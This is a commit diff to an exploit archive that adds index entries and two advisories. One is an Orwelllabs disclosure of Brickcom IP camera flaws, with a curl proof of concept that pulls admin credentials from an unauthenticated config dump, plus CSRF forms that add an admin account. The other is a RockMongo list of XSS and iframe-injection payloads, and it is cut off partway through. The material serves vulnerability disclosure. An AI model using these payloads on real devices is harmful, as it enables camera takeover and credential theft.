DB: 2016-04-15
6 new exploits RockMongo PHP MongoDB Administrator 1.1.8 - Multiple Vulnerabilities Microsoft Office Excel Out-of-Bounds Read Remote Code Execution (MS16-042) pfSense Firewall <= 2.2.6 - Services CSRF Brickcom Corporation Network Cameras - Multiple Vulnerabilities PHPmongoDB 1.0.0 - Multiple Vulnerabilities Internet Explorer 9_ 10_ 11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112)
This commit is contained in:
parent
1e62f55c1a
commit
b185ddf9b2
7 changed files with 1468 additions and 0 deletions
|
@ -35902,6 +35902,7 @@ id,file,description,date,author,platform,type,port
|
||||||
39678,platforms/php/webapps/39678.txt,"WPN-XM Serverstack 0.8.6 - Cross Site Request Forgery",2016-04-11,hyp3rlinx,php,webapps,80
|
39678,platforms/php/webapps/39678.txt,"WPN-XM Serverstack 0.8.6 - Cross Site Request Forgery",2016-04-11,hyp3rlinx,php,webapps,80
|
||||||
39679,platforms/php/webapps/39679.txt,"OpenCart 2.1.0.2 to 2.2.0.0 - json_decode Function Remote Code Execution",2016-04-11,"Naser Farhadi",php,webapps,80
|
39679,platforms/php/webapps/39679.txt,"OpenCart 2.1.0.2 to 2.2.0.0 - json_decode Function Remote Code Execution",2016-04-11,"Naser Farhadi",php,webapps,80
|
||||||
39680,platforms/windows/local/39680.txt,"CAM UnZip 5.1 - Archive Path Traversal",2016-04-11,hyp3rlinx,windows,local,0
|
39680,platforms/windows/local/39680.txt,"CAM UnZip 5.1 - Archive Path Traversal",2016-04-11,hyp3rlinx,windows,local,0
|
||||||
|
39682,platforms/php/webapps/39682.txt,"RockMongo PHP MongoDB Administrator 1.1.8 - Multiple Vulnerabilities",2016-04-11,"Ozer Goker",php,webapps,80
|
||||||
39683,platforms/hardware/webapps/39683.txt,"Axis Network Cameras - Multiple Vulnerabilities",2016-04-11,Orwelllabs,hardware,webapps,80
|
39683,platforms/hardware/webapps/39683.txt,"Axis Network Cameras - Multiple Vulnerabilities",2016-04-11,Orwelllabs,hardware,webapps,80
|
||||||
39684,platforms/lin_x86-64/shellcode/39684.c,"Linux/x86_64 - bindshell (PORT: 5600) - 81 bytes",2016-04-11,"Ajith Kp",lin_x86-64,shellcode,0
|
39684,platforms/lin_x86-64/shellcode/39684.c,"Linux/x86_64 - bindshell (PORT: 5600) - 81 bytes",2016-04-11,"Ajith Kp",lin_x86-64,shellcode,0
|
||||||
39685,platforms/android/dos/39685.txt,"Android - IOMX getConfig/getParameter Information Disclosure",2016-04-11,"Google Security Research",android,dos,0
|
39685,platforms/android/dos/39685.txt,"Android - IOMX getConfig/getParameter Information Disclosure",2016-04-11,"Google Security Research",android,dos,0
|
||||||
|
@ -35911,3 +35912,8 @@ id,file,description,date,author,platform,type,port
|
||||||
39691,platforms/jsp/webapps/39691.py,"Oracle Application Testing Suite 12.4.0.2.0 - Authentication Bypass and Arbitrary File Upload Exploit",2016-04-13,"Zhou Yu",jsp,webapps,8088
|
39691,platforms/jsp/webapps/39691.py,"Oracle Application Testing Suite 12.4.0.2.0 - Authentication Bypass and Arbitrary File Upload Exploit",2016-04-13,"Zhou Yu",jsp,webapps,8088
|
||||||
39692,platforms/linux/local/39692.py,"Texas Instrument Emulator 3.03 - Local Buffer Overflow",2016-04-13,"Juan Sacco",linux,local,0
|
39692,platforms/linux/local/39692.py,"Texas Instrument Emulator 3.03 - Local Buffer Overflow",2016-04-13,"Juan Sacco",linux,local,0
|
||||||
39693,platforms/unix/remote/39693.rb,"Dell KACE K1000 File Upload",2016-04-13,metasploit,unix,remote,0
|
39693,platforms/unix/remote/39693.rb,"Dell KACE K1000 File Upload",2016-04-13,metasploit,unix,remote,0
|
||||||
|
39694,platforms/windows/dos/39694.txt,"Microsoft Office Excel Out-of-Bounds Read Remote Code Execution (MS16-042)",2016-04-14,"Sébastien Morin",windows,dos,0
|
||||||
|
39695,platforms/php/webapps/39695.txt,"pfSense Firewall <= 2.2.6 - Services CSRF",2016-04-14,"Aatif Shahdad",php,webapps,443
|
||||||
|
39696,platforms/hardware/webapps/39696.txt,"Brickcom Corporation Network Cameras - Multiple Vulnerabilities",2016-04-14,Orwelllabs,hardware,webapps,80
|
||||||
|
39697,platforms/php/webapps/39697.txt,"PHPmongoDB 1.0.0 - Multiple Vulnerabilities",2016-04-14,"Ozer Goker",php,webapps,80
|
||||||
|
39698,platforms/windows/remote/39698.html,"Internet Explorer 9_ 10_ 11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112)",2016-04-14,"Ashfaq Ansari",windows,remote,0
|
||||||
|
|
Can't render this file because it is too large.
|
394
platforms/hardware/webapps/39696.txt
Executable file
394
platforms/hardware/webapps/39696.txt
Executable file
|
@ -0,0 +1,394 @@
|
||||||
|
_ _ _ _
|
||||||
|
| | | | | |
|
||||||
|
___ _ ____ _____| | | | __ _| |__ ___
|
||||||
|
/ _ \| '__\ \ /\ / / _ \ | | |/ _` | '_ \/ __|
|
||||||
|
| (_) | | \ V V / __/ | | | (_| | |_) \__ \
|
||||||
|
\___/|_| \_/\_/ \___|_|_|_|\__,_|_.__/|___/
|
||||||
|
|
||||||
|
|
||||||
|
Security Adivisory
|
||||||
|
2016-04-12
|
||||||
|
www.orwelllabs.com
|
||||||
|
twt:@orwelllabs
|
||||||
|
|
||||||
|
|
||||||
|
sm1thw@0rw3lll4bs:~/bb# ./Bruce.S
|
||||||
|
[+] surveillance is the business model
|
||||||
|
of the internet - OK!
|
||||||
|
sm1thw@0rw3lll4bs:~/bb# echo $?
|
||||||
|
6079
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Adivisory Information
|
||||||
|
=====================
|
||||||
|
Vendor: Brickcom Corporation
|
||||||
|
CVE-Number:N/A
|
||||||
|
Adivisory-URL:
|
||||||
|
http://www.orwelllabs.com/2016/04/Brickcom-Multiple-Vulnerabilities.html
|
||||||
|
OLSA-ID: OLSA-2015-12-12
|
||||||
|
Impact: High (especially because some of these products are used in
|
||||||
|
critical environments.)
|
||||||
|
Remote: Yes
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
p4n0pt1c0n
|
||||||
|
|
||||||
|
I. Insecure Direct Object Reference/Authentication Bypass
|
||||||
|
II. Sensitive information in plaintext
|
||||||
|
III. Hard-coded Credentials
|
||||||
|
IV. Cross-site scripting
|
||||||
|
V. Basic Authentication
|
||||||
|
VI. Cross-site Request Forgery
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Background
|
||||||
|
----------
|
||||||
|
Brickcom (calls itself) as a "leading network video manufacturer in the IP
|
||||||
|
surveillance industry.
|
||||||
|
Dedicated to providing the best IP surveillance solutions with a solid
|
||||||
|
foundation for engineering
|
||||||
|
quality network video equipment with a Research and Development Department
|
||||||
|
that has been producing
|
||||||
|
wireless broadband networking equipment for over twenty years."
|
||||||
|
|
||||||
|
These products are used as video surveillance system by costumers and
|
||||||
|
important sectors such as the Thai 4ir F0rce, as can be seen on the
|
||||||
|
Vendor's web site.
|
||||||
|
|
||||||
|
* notes:
|
||||||
|
|
||||||
|
- some firmwares affected (item 'affected products' are very recent, having
|
||||||
|
been launched
|
||||||
|
a few months ago, and still vulnerable ... so this is an structural/legacy
|
||||||
|
problem.
|
||||||
|
|
||||||
|
- sensitive information presented in this advisory are fake.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
I. Insecure Direct Object Reference/Authentication Bypass
|
||||||
|
---------------------------------------------------------
|
||||||
|
(+) affected scripts
|
||||||
|
- configfile.dump
|
||||||
|
- syslog.dump
|
||||||
|
|
||||||
|
|
||||||
|
Path: Maintenance -> Configuration -> 'Export'
|
||||||
|
|
||||||
|
+ configfile.dump
|
||||||
|
|
||||||
|
An unauthenticated GET request to the script "configfile.dump", as follows:
|
||||||
|
http://xxx.xxx.xxx.xxx/configfile.dump?action=get
|
||||||
|
|
||||||
|
or like this
|
||||||
|
|
||||||
|
http://xxx.xxx.xxx.xxx/configfile.dump.backup
|
||||||
|
http://xxx.xxx.xxx.xxx/configfile.dump.gz
|
||||||
|
|
||||||
|
or just
|
||||||
|
http://xxx.xxx.xxx.xxx/configfile.dump
|
||||||
|
|
||||||
|
returns all camera settings
|
||||||
|
|
||||||
|
[..code_snip..]
|
||||||
|
|
||||||
|
DeviceBasicInfo.firmwareVersion=v3.0.6.12
|
||||||
|
DeviceBasicInfo.macAddress=00:00:00:00:00:00
|
||||||
|
DeviceBasicInfo.sensorID=OV9X11
|
||||||
|
DeviceBasicInfo.internalName=Brickcom
|
||||||
|
DeviceBasicInfo.productName=Di-1092AX
|
||||||
|
DeviceBasicInfo.displayName=CB-1092AX
|
||||||
|
DeviceBasicInfo.modelNumber=XXX
|
||||||
|
DeviceBasicInfo.companyName=Brickcom Corporation
|
||||||
|
DeviceBasicInfo.comments=[CUBE HD IPCam STREEDM]
|
||||||
|
DeviceBasicInfo.companyUrl=www.brickcom.com
|
||||||
|
DeviceBasicInfo.serialNumber=AXNB02B211111
|
||||||
|
DeviceBasicInfo.skuType=LIT
|
||||||
|
DeviceBasicInfo.ledIndicatorMode=1
|
||||||
|
DeviceBasicInfo.minorFW=1
|
||||||
|
DeviceBasicInfo.hardwareVersion=
|
||||||
|
DeviceBasicInfo.PseudoPDseProdNum=P3301
|
||||||
|
AudioDeviceSetting.muted=0
|
||||||
|
|
||||||
|
[..code_snip..]
|
||||||
|
|
||||||
|
and all credentials including the administrator account, like this:
|
||||||
|
|
||||||
|
|
||||||
|
UserSetSetting.userList.size=2
|
||||||
|
UserSetSetting.userList.users0.index=0
|
||||||
|
UserSetSetting.userList.users0.password=MyM4st3rP4ss <<<--- admin pass
|
||||||
|
UserSetSetting.userList.users0.privilege=1
|
||||||
|
UserSetSetting.userList.users0.username=Cam_User <<<--- admin user
|
||||||
|
UserSetSetting.userList.users1.index=0
|
||||||
|
UserSetSetting.userList.users1.password=C0mm0mP4ss <<<--- (commom) user
|
||||||
|
pass
|
||||||
|
UserSetSetting.userList.users1.privilege=1
|
||||||
|
UserSetSetting.userList.users1.username=User_name <<<--- (commom)
|
||||||
|
username
|
||||||
|
UserSetSetting.userList.users2.index=0
|
||||||
|
UserSetSetting.userList.users2.password=[..code_snip..]
|
||||||
|
[snip]
|
||||||
|
BasicNetworkSetting.pppoe.password= <<<--- ppoe user
|
||||||
|
BasicNetworkSetting.pppoe.username= <<<--- ppoe pass
|
||||||
|
UPnPSetting.enabled=1
|
||||||
|
UPnPSetting.name=CB-102Ap-1ffc3
|
||||||
|
Brickcom.enabled=1
|
||||||
|
DDNSSetting.dyndnsEnabled=0
|
||||||
|
DDNSSetting.dyndns.wildcardEnabled=0
|
||||||
|
DDNSSetting.dyndns.username= <<<--- dyndns user
|
||||||
|
DDNSSetting.dyndns.password= <<<--- dyndns password
|
||||||
|
DDNSSetting.dyndns.hostname=
|
||||||
|
DDNSSetting.tzodnsEnabled=0
|
||||||
|
DDNSSetting.tzodns.wildcardEnabled=0
|
||||||
|
DDNSSetting.tzodns.username= <<<--- and here...
|
||||||
|
DDNSSetting.tzodns.password= <<<--- here....
|
||||||
|
DDNSSetting.tzodns.hostname=
|
||||||
|
DDNSSetting.noipdnsEnabled=0
|
||||||
|
DDNSSetting.noipdns.wildcardEnabled=0
|
||||||
|
DDNSSetting.noipdns.username= <<<--- here
|
||||||
|
DDNSSetting.noipdns.password= <<<--- here
|
||||||
|
DDNSSetting.noipdns.hostname=
|
||||||
|
and many others...
|
||||||
|
|
||||||
|
- Path: System -> System Log -> 'Save to File'
|
||||||
|
|
||||||
|
+ syslog.dump
|
||||||
|
|
||||||
|
- Request:
|
||||||
|
(unauthenticated) GET http://xxx.xxx.xxx.xxx/syslog.dump?action=get
|
||||||
|
|
||||||
|
- Response:
|
||||||
|
[..code_snip..]
|
||||||
|
|
||||||
|
LOG_NOTICE-WebServer :User '[admin]' logged in to [web server], Sat Mar 1
|
||||||
|
21:13:36 2014
|
||||||
|
LOG_NOTICE-WebServer :User '[admin]' logged in to [web server], Sat Mar 1
|
||||||
|
21:11:02 2014
|
||||||
|
|
||||||
|
[..code_snip..]
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept
|
||||||
|
`````````````````
|
||||||
|
Online Bash exploit-p0c:
|
||||||
|
curl -s -O http://xxx.xxx.xxx.xxx/configfile.dump && grep "users0"
|
||||||
|
configfile.dump|awk '{ FS="."; } { print $4; }' || echo -e "[-] The target
|
||||||
|
seems not be vulnerable, Mr. Robot! \n"
|
||||||
|
|
||||||
|
IF target (xxx.xxx.xxx.xxx) is vulnerable the exploit will show a username,
|
||||||
|
password and privilege level (1:admin), like this:
|
||||||
|
|
||||||
|
password=4adm1niS3cr3tP4ss
|
||||||
|
privilege=1
|
||||||
|
username=BrickcomADMIN
|
||||||
|
|
||||||
|
and a configfile.dump with all credentials, settings, etc. will be recorded
|
||||||
|
locally.
|
||||||
|
IF not vulnerable, you'll see the message:
|
||||||
|
|
||||||
|
"[-] The target seems not bet vulnerable, Mr. Robot!"
|
||||||
|
|
||||||
|
|
||||||
|
II. sensitive information in plaintext
|
||||||
|
--------------------------------------
|
||||||
|
As shown, there are countless cases where credentials and other sensitive
|
||||||
|
information are store in plaintext.
|
||||||
|
|
||||||
|
|
||||||
|
III. Hard-coded Credentials
|
||||||
|
---------------------------
|
||||||
|
All credentials and other sensitive information can be found in html page
|
||||||
|
user_management_config.html,
|
||||||
|
Just viewing the html source code:
|
||||||
|
|
||||||
|
view-source:http://{xxx.xxx.xxx.xxx}/user_management_config.html
|
||||||
|
|
||||||
|
<script type="text/javascript">
|
||||||
|
var Edit_id="";
|
||||||
|
var userSet_size="5"
|
||||||
|
var User_index=new Array(10);
|
||||||
|
var User_username=new Array(10);
|
||||||
|
var User_password=new Array(10);
|
||||||
|
var User_privilege=new Array(10);
|
||||||
|
|
||||||
|
User_index[0]="1";
|
||||||
|
User_username[0]="admin"; <<<----
|
||||||
|
User_password[0]="admin"; <<<----
|
||||||
|
User_privilege[0]="1";
|
||||||
|
|
||||||
|
User_index[1]="2";
|
||||||
|
User_username[1]="masteruser"; <<<----
|
||||||
|
User_password[1]="masterP4sss1*"; <<<----
|
||||||
|
User_privilege[1]="0";
|
||||||
|
|
||||||
|
|
||||||
|
IV. Cross-site scripting
|
||||||
|
------------------------
|
||||||
|
(+) Script: /cgi-bin/NotificationTest.cgi
|
||||||
|
(+) Param: action=
|
||||||
|
|
||||||
|
|
||||||
|
REQUEST: http://xxx.xxx.xxx.xxx/cgi-bin/NotificationTest.cgi?action=[ **
|
||||||
|
XSS
|
||||||
|
**]&addressType=&hostname=h0stn4mE&ipAddress=xxx.xxx.xxxx.xxx&ipv6Address=&portNo=&accountName=brickcom&password=brickcom&ShareDIR=
|
||||||
|
|
||||||
|
|
||||||
|
V. Basic Authentication
|
||||||
|
-----------------------
|
||||||
|
The response asks the user to enter credentials for Basic HTTP
|
||||||
|
authentication.
|
||||||
|
If these are supplied, they will be submitted over clear-text HTTP (in
|
||||||
|
Base64-encoded form).
|
||||||
|
|
||||||
|
|
||||||
|
V. Cross-site Request Forgery
|
||||||
|
-----------------------------
|
||||||
|
# To add an administrative credential: "brickcom:brickcom"
|
||||||
|
|
||||||
|
> Privilege levels:
|
||||||
|
- visor : 0
|
||||||
|
- admin : 1
|
||||||
|
- visor remoto : 2
|
||||||
|
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<!-- Brickcom FB-100Ae IP Box Camera- CSRF PoC -->
|
||||||
|
<body>
|
||||||
|
<form action="http://{xxx.xxx.xxx.xxx}/cgi-bin/users.cgi" method="POST">
|
||||||
|
<input type="hidden" name="action" value="add" />
|
||||||
|
<input type="hidden" name="index" value="0" />
|
||||||
|
<input type="hidden" name="username" value="brickcom" />
|
||||||
|
<input type="hidden" name="password" value="brickcom" />
|
||||||
|
<input type="hidden" name="privilege" value="1" />
|
||||||
|
<input type="submit" value="Submit form" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
|
||||||
|
# to remove this credential:
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<!-- Brickcom FB-100Ae IP Box Camera- CSRF PoC -->
|
||||||
|
<body>
|
||||||
|
<form action="http://{xxx.xxx.xxx.xxx}/cgi-bin/users.cgi" method="POST">
|
||||||
|
<input type="hidden" name="action" value="delete" />
|
||||||
|
<input type="hidden" name="username" value="brickcom" />
|
||||||
|
<input type="submit" value="Submit form" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
|
||||||
|
affected products
|
||||||
|
-----------------
|
||||||
|
(+) various products, including models:
|
||||||
|
|
||||||
|
Brickcom FB-100Ae IP Box Camera - Firmware Version: v3.0.6.12
|
||||||
|
(release:09/08/2010 14:46)
|
||||||
|
Brickcom WCB-100Ap Wireless Camera - Firmware Version: v3.0.6.26
|
||||||
|
(release:01/21/2011 18:31)
|
||||||
|
|
||||||
|
Vandal Dome Cameras
|
||||||
|
-------------------
|
||||||
|
Brickcom VD-202Ne Vandal Dome Camera - Firmware Version: v37019_Promise
|
||||||
|
(release:2015-10-01_18:46:07)
|
||||||
|
Brickcom VD-300Np Vandal Dome Camera - Firmware Version: v3.7.0.23T
|
||||||
|
(release:2016-03-21_10:08:24)
|
||||||
|
Brickcom VD-E200Nf Vandal Dome Camera - Firmware Version: v3.7.0.5T
|
||||||
|
(release:2015-06-25_11:18:07)
|
||||||
|
|
||||||
|
Bullet Cameras
|
||||||
|
--------------
|
||||||
|
Brickcom OB-202Ne Bullet Camera - Firmware Version: v3.7.0.18R
|
||||||
|
(release:2015-09-08_18:40:11)
|
||||||
|
Brickcom OB-E200Nf Bullet Camera - Firmware Version: v3.7.0.18.3R
|
||||||
|
(release:2015-10-16_11:36:46)
|
||||||
|
Brickcom OB-200Np-LR Bullet Camera - Firmware Version: v3.7.0.18.3R
|
||||||
|
(release:2015-10-15_11:30:46)
|
||||||
|
Brickcom OB-500Ap Bullet Camera - Firmware Version: v3.7.0.1cR
|
||||||
|
(release:2016-01-18_10:07:03)
|
||||||
|
Brickcom GOB-300Np Bullet Camera (Unique Series) - Firmware Version:
|
||||||
|
v3.7.0.17A (release: 2015-07-10_11:36:41)
|
||||||
|
Brickcom OB-200Np-LR Bullet Camera (Unique Series) - Firmware Version:
|
||||||
|
v3.7.0.18.3R (release: 2015-10-15_11:30:46)
|
||||||
|
|
||||||
|
|
||||||
|
Mini Dome Camera
|
||||||
|
----------------
|
||||||
|
Brickcom MD-300Np Mini Dome Camera - Firmware Version: v3.2.2.8
|
||||||
|
(release:2013-08-01)
|
||||||
|
|
||||||
|
|
||||||
|
Cube Camera
|
||||||
|
-----------
|
||||||
|
Brickcom CB-102Ae V2 Cube Camera - Firmware Version: v3.0.6.12 (release:
|
||||||
|
09/07/2010 11:45)
|
||||||
|
|
||||||
|
|
||||||
|
Fixed Dome Camera
|
||||||
|
-----------------
|
||||||
|
Brickcom FD-202Ne Fixed Dome Camera - Firmware Version:v3.7.0.17R
|
||||||
|
(release: 2015-08-19_18:47:31)
|
||||||
|
|
||||||
|
|
||||||
|
Legal Notices
|
||||||
|
+++++++++++++
|
||||||
|
The information contained within this advisory is supplied "as-is" with no
|
||||||
|
warranties or guarantees of fitness of use or otherwise.
|
||||||
|
I accept no responsibility for any damage caused by the use or misuse of
|
||||||
|
this information.
|
||||||
|
|
||||||
|
|
||||||
|
Timeline
|
||||||
|
++++++++
|
||||||
|
2015-03-20 - Issues discovered
|
||||||
|
2015-03-30 - attempt to contact Vendor
|
||||||
|
2015-12-12 - attempt to assign CVE
|
||||||
|
2016-04-12 - Not easy way to contact vendor, (ON Twitter) the last tweet
|
||||||
|
was 2011-01-31...
|
||||||
|
2016-04-14 - Full disclosure
|
||||||
|
|
||||||
|
|
||||||
|
About Orwelllabs
|
||||||
|
++++++++++++++++
|
||||||
|
Orwelllabs is a (doubleplusungood) security research lab interested in
|
||||||
|
embedded device & webapp hacking &&
|
||||||
|
aims to create some intelligence around this vast and confusing picture
|
||||||
|
that is the Internet of things.
|
||||||
|
|
||||||
|
|
||||||
|
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
||||||
|
mQENBFcJl8wBCAC/J8rAQdOoC82gik6LVbH674HnxAAQ6rBdELkyR2S2g1zMIAFt
|
||||||
|
xNN//A3bUWwFtlrfgiJkiOC86FimPus5O/c4iZc8klm07hxWuzoLPzBPM50+uGKH
|
||||||
|
xZwwLa5PLuuR1T0O+OFqd9sdltz6djaYrFsdq6DZHVrp31P7LqHHRVwN8vzqWmSf
|
||||||
|
55hDGNTrjbnmfuAgQDrjA6FA2i6AWSTXEuDd5NjCN8jCorCczDeLXTY5HuJDb2GY
|
||||||
|
U9H5kjbgX/n3/UvQpUOEQ5JgW1QoqidP8ZwsMcK5pCtr9Ocm+MWEN2tuRcQq3y5I
|
||||||
|
SRuBk/FPhVVnx5ZrLveClCgefYdqqHi9owUTABEBAAG0IU9yd2VsbExhYnMgPG9y
|
||||||
|
d2VsbGxhYnNAZ21haWwuY29tPokBOQQTAQgAIwUCVwmXzAIbAwcLCQgHAwIBBhUI
|
||||||
|
AgkKCwQWAgMBAh4BAheAAAoJELs081R5pszAhGoIALxa6tCCUoQeksHfR5ixEHhA
|
||||||
|
Zrx+i3ZopI2ZqQyxKwbnqXP87lagjSaZUk4/NkB/rWMe5ed4bHLROf0PAOYAQstE
|
||||||
|
f5Nx2tjK7uKOw+SrnnFP08MGBQqJDu8rFmfjBsX2nIo2BgowfFC5XfDl+41cMy9n
|
||||||
|
pVVK9qHDp9aBSd3gMc90nalSQTI/QwZ6ywvg+5/mG2iidSsePlfg5d+BzQoc6SpW
|
||||||
|
LUTJY0RBS0Gsg88XihT58wnX3KhucxVx9RnhainuhH23tPdfPkuEDQqEM/hTVlmN
|
||||||
|
95rV1waD4+86IWG3Zvx79kbBnctD/e9KGvaeB47mvNPJ3L3r1/tT3AQE+Vv1q965
|
||||||
|
AQ0EVwmXzAEIAKgsUvquy3q8gZ6/t6J+VR7ed8QxZ7z7LauHvqajpipFV83PnVWf
|
||||||
|
ulaAIazUyy1XWn80bVnQ227fOJj5VqscfnHqBvXnYNjGLCNMRix5kjD/gJ/0pm0U
|
||||||
|
gqcrowSUFSJNTGk5b7Axdpz4ZyZFzXc33R4Wvkg/SAvLleU40S2wayCX+QpwxlMm
|
||||||
|
tnBExzgetRyNN5XENATfr87CSuAaS/CGfpV5reSoX1uOkALaQjjM2ADkuUWDp6KK
|
||||||
|
6L90h8vFLUCs+++ITWU9TA1FZxqTl6n/OnyC0ufUmvI4hIuQV3nxwFnBj1Q/sxHc
|
||||||
|
TbVSFcGqz2U8W9ka3sFuTQrkPIycfoOAbg0AEQEAAYkBHwQYAQgACQUCVwmXzAIb
|
||||||
|
DAAKCRC7NPNUeabMwLE8B/91F99flUVEpHdvy632H6lt2WTrtPl4ELUy04jsKC30
|
||||||
|
MDnsfEjXDYMk1GCqmXwJnztwEnTP17YO8N7/EY4xTgpQxUwjlpah++51JfXO58Sf
|
||||||
|
Os5lBcar8e82m1u7NaCN2EKGNEaNC1EbgUw78ylHU3B0Bb/frKQCEd60/Bkv0h4q
|
||||||
|
FoPujMQr0anKWJCz5NILOShdeOWXIjBWxikhXFOUgsUBYgJjCh2b9SqwQ2UXjFsU
|
||||||
|
I0gn7SsgP0uDV7spWv/ef90JYPpAQ4/tEK6ew8yYTJ/omudsGLt4vl565ArKcGwB
|
||||||
|
C0O2PBppCrHnjzck1xxVdHZFyIgWiiAmRyV83CiOfg37
|
||||||
|
=IZYl
|
||||||
|
-----END PGP PUBLIC KEY BLOCK-----
|
394
platforms/php/webapps/39682.txt
Executable file
394
platforms/php/webapps/39682.txt
Executable file
|
@ -0,0 +1,394 @@
|
||||||
|
#########################################################################################################################################################
|
||||||
|
# Exploit Title: RockMongo v1.1.8 - PHP MongoDB Administrator Multiple
|
||||||
|
Vulnerabilities
|
||||||
|
# Date: 11.04.2016
|
||||||
|
# Exploit Author: Ozer Goker
|
||||||
|
# Vendor Homepage: http://rockmongo.com
|
||||||
|
# Software Link: https://github.com/iwind/rockmongo
|
||||||
|
# Version: [app version] 1.1.8
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
What is RockMongo?
|
||||||
|
|
||||||
|
RockMongo, a MongoDB administration tool, written in PHP5, is Best in PHP
|
||||||
|
world, more like PHPMyAdmin. source = http://rockmongo.com
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerabilities: CSRF | HTML(or Iframe) Injection | XSS (Reflected & Stored)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
XSS details:
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
XSS1 (Reflected)
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/rockmongo/index.php?action=login.index
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Post
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
username
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
"><script>alert(1)</script>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
XSS2 (Reflected)
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/rockmongo/index.php?action=login.index
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Post
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
db
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
"><script>alert(1)</script>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
XSS3 (Reflected)
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/rockmongo/index.php?action=server.createDatabase
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Post
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
name
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
<script>alert(3)</script>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
XSS4 (Stored)
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/rockmongo/index.php?action=db.newCollection&db=test
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Post
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
name
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
<script>alert(4)</script>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
XSS5 (Reflected)
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/rockmongo/index.php?action=server.command&db=test
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Post
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
db
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
<script>alert(5)</script>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
XSS6 (Reflected)
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/rockmongo/index.php?action=collection.removeCollection&db=test&collection=system.indexes%3Cscript%3Ealert%286%29%3C/script%3E
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Get
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
collection
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
<script>alert(6)</script>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
XSS7 (Reflected)
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/rockmongo/index.php?action=collection.index&collection=system.indexes&command=findAll&criteria=%22%3E%3Cscript%3Ealert%287%29%3C/script%3E&db=test&field[0]=_id&format=array&limit=0&order[0]=asc&pagesize=10&query_fields[0]=v
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Get
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
criteria
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
"><script>alert(7)</script>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
XSS8 (Reflected)
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/rockmongo/index.php/"><script>alert(8)</script>
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Get
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
URL
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
"><script>alert(8)</script>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
|
||||||
|
HTML Injection details:
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
HTML Injection1
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/rockmongo/index.php?action=login.index
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Post
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
username,db
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
"><iframe src=http://www.rockmongo.com></iframe>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
HTML Injection2
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/rockmongo/index.php?action=server.createDatabase
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Post
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
name
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
<iframe src=http://www.rockmongo.com>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
HTML Injection3 (Stored)
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/rockmongo/index.php?action=db.newCollection&db=test
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Post
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
name
|
||||||
|
|
||||||
|
